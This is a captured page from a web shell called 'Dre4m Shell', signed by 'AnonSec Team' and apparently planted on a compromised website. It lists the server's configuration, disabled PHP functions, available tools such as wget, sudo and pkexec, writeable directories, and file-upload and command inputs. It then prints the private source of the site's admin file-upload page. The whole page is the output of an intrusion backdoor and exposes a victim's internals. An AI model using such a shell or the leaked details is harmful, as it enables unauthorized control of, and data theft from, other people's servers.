Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.147.8.255
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/admin//file_upload.php
<?php
ob_start();
session_start();
require_once('session-check.php');
require_once('include/db-config.php');
$msg="";
?>
<?php
	$query="select pre1, pre2, pre3, post1, post2, post3 from file_upload where id=1";
	$result=mysqli_query($conn,$query);
	$row=mysqli_fetch_array($result);
	$_SESSION['pre1']=$row['pre1'];
	$_SESSION['pre2']=$row['pre2'];
	$_SESSION['pre3']=$row['pre3'];
	$_SESSION['post1']=$row['post1'];
	$_SESSION['post2']=$row['post2'];
	$_SESSION['post3']=$row['post3'];

?>
<!DOCTYPE html> <HTML>
<HEAD>
<TITLE>Joel Levitt, maintenance management, maintenance management consulting, tpms</TITLE>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<link href="css/style.css" type="text/css" rel="stylesheet">
<script language="JavaScript" type="text/javascript">
function validateform()
{
	
	if(document.getElementById("pre1").value=="")
	{
		<?php if($row['pre1']=="") {?>
		document.getElementById("pre1").focus();
		alert("Please upload Setup File");
		return false;
		<?php } ?>
	}
	
	
	if(document.getElementById("post1").value=="")
	{
		<?php if($row['post1']=="") {?>
		document.getElementById("post1").focus();
		alert("Please upload Setup File");
		return false;
		<?php } ?>
	}
	
	
	
	
	
	return true;
}
</script>

</HEAD>
<BODY BGCOLOR=#FFFFFF LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0>
<!-- ImageReady Slices (maintrainer_slice2.jpg) -->
<TABLE WIDTH="100%" BORDER=0 CELLPADDING=0 CELLSPACING=0 align="center">
	<?php include_once('include/include_header.php'); ?>
	<TR>
		<TD width="100%" align="center">
			<table border="0" cellpadding="0" cellspacing="0"  width="1100" align="center" class="body_bg" style="border-color:">
				<tr><td colspan="3" style="height:9px;"></td></tr>
                <tr>
                	<td style="width:9px;"></td>
                	<td class="content_bg" valign="top">
                    	<table border="0" cellpadding="0" cellspacing="0" width="95%" align="center">
							<tr>
								<td style="height:40px;">
								</td>
							</tr>
							<tr>
								<td>
									<form action="file_upload_action.php" method="post" enctype="multipart/form-data" id="pass" name="pass" onSubmit="return validateform();">                        
                                    <?php 
									 if(isset($_GET['r']))
									 {			   
										 if($_GET['r'] == '3')
										 {	
											$msg= "<font class='error-text'><b>Successfully Deleted.</b></font>";
										 }	
										 else if($_GET['r'] == '1')
										 {
											$msg= "<font class='error-text'><b>Files Uploaded Successfully.</b></font>";
											 
										 }
										 
									 }
											
									
									?>
									
                                    	<table border="0" cellpadding="0" cellspacing="0" class="normal_text">
										<tr><td class="mainhead" valign="top" colspan="2">Meeting Defender - Pre and Post Setup Files</td></tr>
										<tr><td style="height:10px;"></td></tr>
										<tr>
											<td class="textnormal" style="padding-left:20px; padding-right:10px;" valign="top" width="150">Setup File<sup style="color: red">*</sup></td>
											<td><p>
											  <input type="file" id="pre1" name="pre1"> 
										    </p>
										    </td>
                                        </tr>
                                        
                                        <tr>
                                        	<td></td><td><p><?php if($row['pre1']) {echo $row['pre1']; } ?></p></td>
                                        </tr>
		    							<tr><td style="height:10px;"></td></tr>
		    							<tr>
											<td class="textnormal" style="padding-left:20px; padding-right:10px;" valign="top" width="150">Alternate PDF File</td>
											<td><p>
											  <input type="file" id="pre2" name="pre2"> 
										    </p>
										    </td>
                                            
		    							</tr>
		    							<tr>
                                        	<td></td><td><p><?php if($row['pre2']) { echo $row['pre2']; ?>&nbsp;&nbsp;<a href="file_delete_action.php?d=2">delete</a><?php } ?></p></td>
                                        </tr>
		    							<tr><td style="height:10px;"></td></tr>
		    							<tr>
											<td class="textnormal" style="padding-left:20px; padding-right:10px;" valign="top" width="150">Alternate Movie File</td>
											<td><p>
											  <input type="file" id="pre3" name="pre3"> 
										    </p>
										   </td>
                                            
		    							</tr>
		    							<tr>
                                        	<td></td><td><p><?php if($row['pre3']) { echo $row['pre3']; ?>&nbsp;&nbsp;<a href="file_delete_action.php?d=3">delete</a><?php } ?></p></td>
                                        </tr>
		    							<tr><td class="mainhead" valign="top" colspan="2">Post Application Files</td></tr>
		    							<tr><td style="height:10px;"></td></tr>
		    							<tr>
											<td class="textnormal" style="padding-left:20px; padding-right:10px;" valign="top" width="150">Setup File<sup style="color: red">*</sup></td>
											<td><p>
											  <input type="file" id="post1" name="post1"> 
										    </p>
										    </td>
                                            
		    							</tr>
		    							<tr>
                                        	<td></td><td><p><?php if($row['post1']) { echo $row['post1']; } ?></p></td>
                                        </tr>
		    							<tr><td style="height:10px;"></td></tr>
		    							<tr>
											<td class="textnormal" style="padding-left:20px; padding-right:10px;" valign="top" width="150">Alternate PDF File</td>
											<td><p>
											  <input type="file" id="post2" name="post2"> 
										    </p>
										    </td>
                                            
		    							</tr>
		    							<tr>
                                        	<td></td><td><p><?php if($row['post2']) { echo $row['post2']; ?>&nbsp;&nbsp;<a href="file_delete_action.php?d=5">delete</a><?php } ?></p></td>
                                        </tr>
		    							<tr><td style="height:10px;"></td></tr>
		    							<tr>
											<td  class="textnormal" style="padding-left:20px; padding-right:10px;" valign="top" width="150">Alternate Movie File</td>
											<td><p>
											  <input type="file" id="post3" name="post3"> 
										    </p>
										    </td>
                                            
		    							</tr>
		    							<tr>
                                        	<td></td><td><p><?php if($row['post3']) { echo $row['post3']; ?>&nbsp;&nbsp;<a href="file_delete_action.php?d=6">delete</a><?php } ?></p></td>
                                        </tr>
		    							<tr><td style="height:10px;"></td></tr>
                                      	<tr>
                                      	<td colspan="2" style="padding-left: 150px;"><p><?php echo $msg;?></p></td>
                                      	</tr>									
                                    
                                        
                                        <tr><td style="height:20px;"></td></tr>
										<tr>
											<td class="textnormal">&nbsp;</td>
                                            
											<td><input type="submit" id="save" name="save" value="Submit" class="bttn">
											&nbsp;<input type="button" id="back" name="back" value="Cancel" class="bttn2" onClick="javascript:history.back();">
											</td>
										</tr>
                                        <tr><td><br><br></td></tr>
                                       						
                                                                                
                                        
                                     </table>
                                        
									</form>
								</td>
							</tr>
						</table>
                    </td>
                    <td style="width:9px;"></td>
				</tr>	
                <tr><td colspan="3" style="height:9px;"></td></tr>
			</table>
		</TD>
	</TR>
    <?php include_once('include/include_footer.php'); ?>
</TABLE>
<!-- End ImageReady Slices -->
</BODY>
</HTML>

Anon7 - 2022
AnonSec Team